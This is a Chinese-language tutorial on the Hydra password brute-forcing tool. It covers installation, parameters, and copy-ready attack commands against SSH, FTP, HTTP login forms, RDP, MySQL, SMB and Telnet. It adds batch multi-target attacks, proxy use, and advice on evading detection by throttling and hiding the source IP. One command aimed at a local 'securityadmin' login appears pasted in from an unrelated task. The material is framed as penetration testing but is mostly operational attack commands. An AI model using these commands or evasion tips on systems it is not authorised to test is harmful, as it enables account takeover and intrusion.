一、Hydra简介
Hydra(九头蛇)是由THC(The Hacker's Choice)开发的开源多协议暴力破解工具,支持超过50种网络协议的在线密码攻击。它以速度快、支持协议多、可扩展性强而闻名,是渗透测试中评估系统密码强度的标准工具之一。
二、安装方法
Windows系统(推荐方法)
- 下载预编译版本:访问GitHub仓库 https://github.com/maaaaz/thc-hydra-windows/releases
- 下载最新的
hydra-9.5-windows.zip文件 - 解压到纯英文路径 (如
C:\pentest\hydra),避免中文和空格 - 配置环境变量:
- 右键"此电脑"→属性→高级系统设置→环境变量
- 在系统变量的Path中添加
C:\pentest\hydra - 打开新的命令提示符或PowerShell,输入
hydra -h验证安装
Linux系统
bash
# Debian/Ubuntu/Kali(Kali默认已安装)
sudo apt update && sudo apt install hydra -y
# CentOS/RHEL
sudo yum install hydra -y
# 源码安装(最新版本)
sudo apt install build-essential libssl-dev libssh-dev
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
sudo make install
macOS系统
bash
brew install hydra
三、基本语法和常用参数
基本语法
bash
hydra [选项] 目标IP 服务名
# 或
hydra [选项] 服务://目标IP:端口
核心参数速查表
| 参数 | 说明 | 示例 |
|---|---|---|
-l |
指定单个用户名 | -l root |
-L |
指定用户名字典文件 | -L users.txt |
-p |
指定单个密码 | -p 123456 |
-P |
指定密码字典文件 | -P passwords.txt |
-C |
指定"用户名:密码"格式的组合字典 | -C combos.txt |
-e nsr |
额外尝试:n(空密码)、s(用户名作为密码)、r(用户名倒序) | -e ns |
-t |
并发线程数(默认16) | -t 32 |
-s |
指定非标准端口 | -s 2222 |
-o |
将结果保存到文件 | -o results.txt |
-f |
找到第一个有效凭据后立即停止 | -f |
-vV |
显示详细的尝试过程 | -vV |
-M |
指定多个目标IP的文件 | -M targets.txt |
-R |
恢复上次中断的爆破任务 | -R |
-S |
使用SSL连接 | -S |
四、常见服务爆破实战示例
1. SSH服务爆破(最常用)
bash
# 单个用户名+密码字典
hydra -l root -P passwords.txt 192.168.1.100 ssh -t 4 -vV
# 用户名字典+密码字典
hydra -L users.txt -P passwords.txt ssh://192.168.1.100 -f
# 非标准端口
hydra -l admin -P passwords.txt 192.168.1.100 ssh -s 2222
# 尝试空密码和用户名作为密码
hydra -l root -P passwords.txt 192.168.1.100 ssh -e ns
2. FTP服务爆破
bash
# 基础FTP爆破
hydra -L users.txt -P passwords.txt ftp://192.168.1.100
# 匿名FTP检查
hydra -l anonymous -p "" ftp://192.168.1.100
# FTPS(SSL加密的FTP)
hydra -l admin -P passwords.txt ftps://192.168.1.100
3. HTTP基本认证爆破
bash
# 基础认证
hydra -l admin -P passwords.txt 192.168.1.100 http-get /admin
# HTTPS基本认证
hydra -l admin -P passwords.txt https://192.168.1.100/admin
4. HTTP POST表单登录爆破(最复杂也最常用)
这是针对网站登录页面的爆破,需要先分析登录请求的参数和失败条件。
步骤:
- 打开浏览器开发者工具(F12)→网络标签
- 输入错误的用户名和密码,查看POST请求
- 找到请求URL和表单数据(如
username=test&password=123) - 找到失败响应中的特征字符串(如"登录失败"、"密码错误")
示例命令:
bash
# 基本POST表单爆破
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=登录失败"
# 带Cookie的POST表单
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=错误:H=Cookie: PHPSESSID=abc123"
# HTTPS POST表单
hydra -l admin -P passwords.txt https://example.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
hydra -l securityadmin -P passwords.txt localhost -s 8080 http-post-form "/:username=securityadmin&password=^PASS^:Invalid username or password" -o ~/project/hydra_results.txt
格式说明:
/login.php:登录请求的URL路径username=^USER^&password=^PASS^:表单数据,^USER^和^PASS^是占位符F=登录失败:失败条件,响应中包含此字符串表示登录失败S=欢迎回来:成功条件,响应中包含此字符串表示登录成功(二选一即可)
5. Windows远程桌面(RDP)爆破
bash
# 基础RDP爆破
hydra -l administrator -P passwords.txt rdp://192.168.1.100
# 非标准端口
hydra -l admin -P passwords.txt 192.168.1.100 rdp -s 3390
6. MySQL数据库爆破
bash
# 本地MySQL
hydra -l root -P passwords.txt mysql://127.0.0.1
# 远程MySQL
hydra -L users.txt -P passwords.txt mysql://192.168.1.100
7. SMB/CIFS(Windows共享)爆破
bash
hydra -L users.txt -P passwords.txt smb://192.168.1.100
8. Telnet服务爆破
bash
hydra -l admin -P passwords.txt telnet://192.168.1.100
五、高级用法
1. 批量爆破多个目标
创建一个targets.txt文件,每行一个IP地址:
192.168.1.100
192.168.1.101
192.168.1.102
然后执行:
bash
hydra -L users.txt -P passwords.txt -M targets.txt ssh -o results.txt
2. 密码暴力生成(不使用字典)
bash
# 生成6-8位纯数字密码
hydra -l root -x 6:8:0123456789 ssh://192.168.1.100
# 生成5-7位小写字母+数字密码
hydra -l admin -x 5:7:a-z0-9 ftp://192.168.1.100
3. 使用代理进行爆破
bash
# HTTP代理
export HTTP_PROXY=http://127.0.0.1:8080
hydra -l admin -P passwords.txt http://example.com http-get /admin
# SOCKS代理
export SOCKS_PROXY=socks5://127.0.0.1:1080
hydra -l root -P passwords.txt ssh://192.168.1.100
4. 恢复中断的爆破任务
如果爆破过程中意外中断,可以使用-R参数恢复:
bash
hydra -R
Hydra会自动读取当前目录下的hydra.restore文件,从中断的位置继续。
六、优化技巧和注意事项
1. 线程数优化
- SSH、RDP等服务对并发连接有限制,建议线程数设置为4-8
- HTTP、FTP等服务可以适当提高到16-32
- 过高的线程数会导致目标服务拒绝连接或触发防火墙规则
2. 字典选择
- 优先使用针对性的字典(如包含目标公司名称、域名、常见密码)
- 通用字典推荐:rockyou.txt(Kali默认位于
/usr/share/wordlists/rockyou.txt.gz) - 可以使用工具如Crunch、Cupp生成自定义字典
3. 避免被检测
- 降低线程数和请求频率
- 使用代理或VPN隐藏真实IP
- 避免在生产环境进行大规模爆破
4. 其他注意事项
- 爆破前先确认目标服务是否正常运行
- 保存结果到文件,避免重复工作
- 对于有账户锁定策略的系统,暴力破解可能会导致账户被锁定
七、常见问题排查
-
Windows下运行提示"找不到pthreadGC2.dll"
- 下载完整的预编译包,确保包含所有依赖文件
- 或者单独下载pthreadGC2.dll放到Hydra目录
-
爆破HTTP表单总是失败
- 检查请求URL和参数是否正确
- 确认失败条件字符串是否准确
- 检查是否需要Cookie或其他请求头
-
SSH爆破速度很慢
- 降低线程数(SSH默认限制并发连接)
- 检查网络连接质量
- 确认目标没有使用fail2ban等防护工具
-
提示"Invalid service name"
- 使用
hydra -h查看支持的所有服务列表 - 确保服务名称拼写正确
- 使用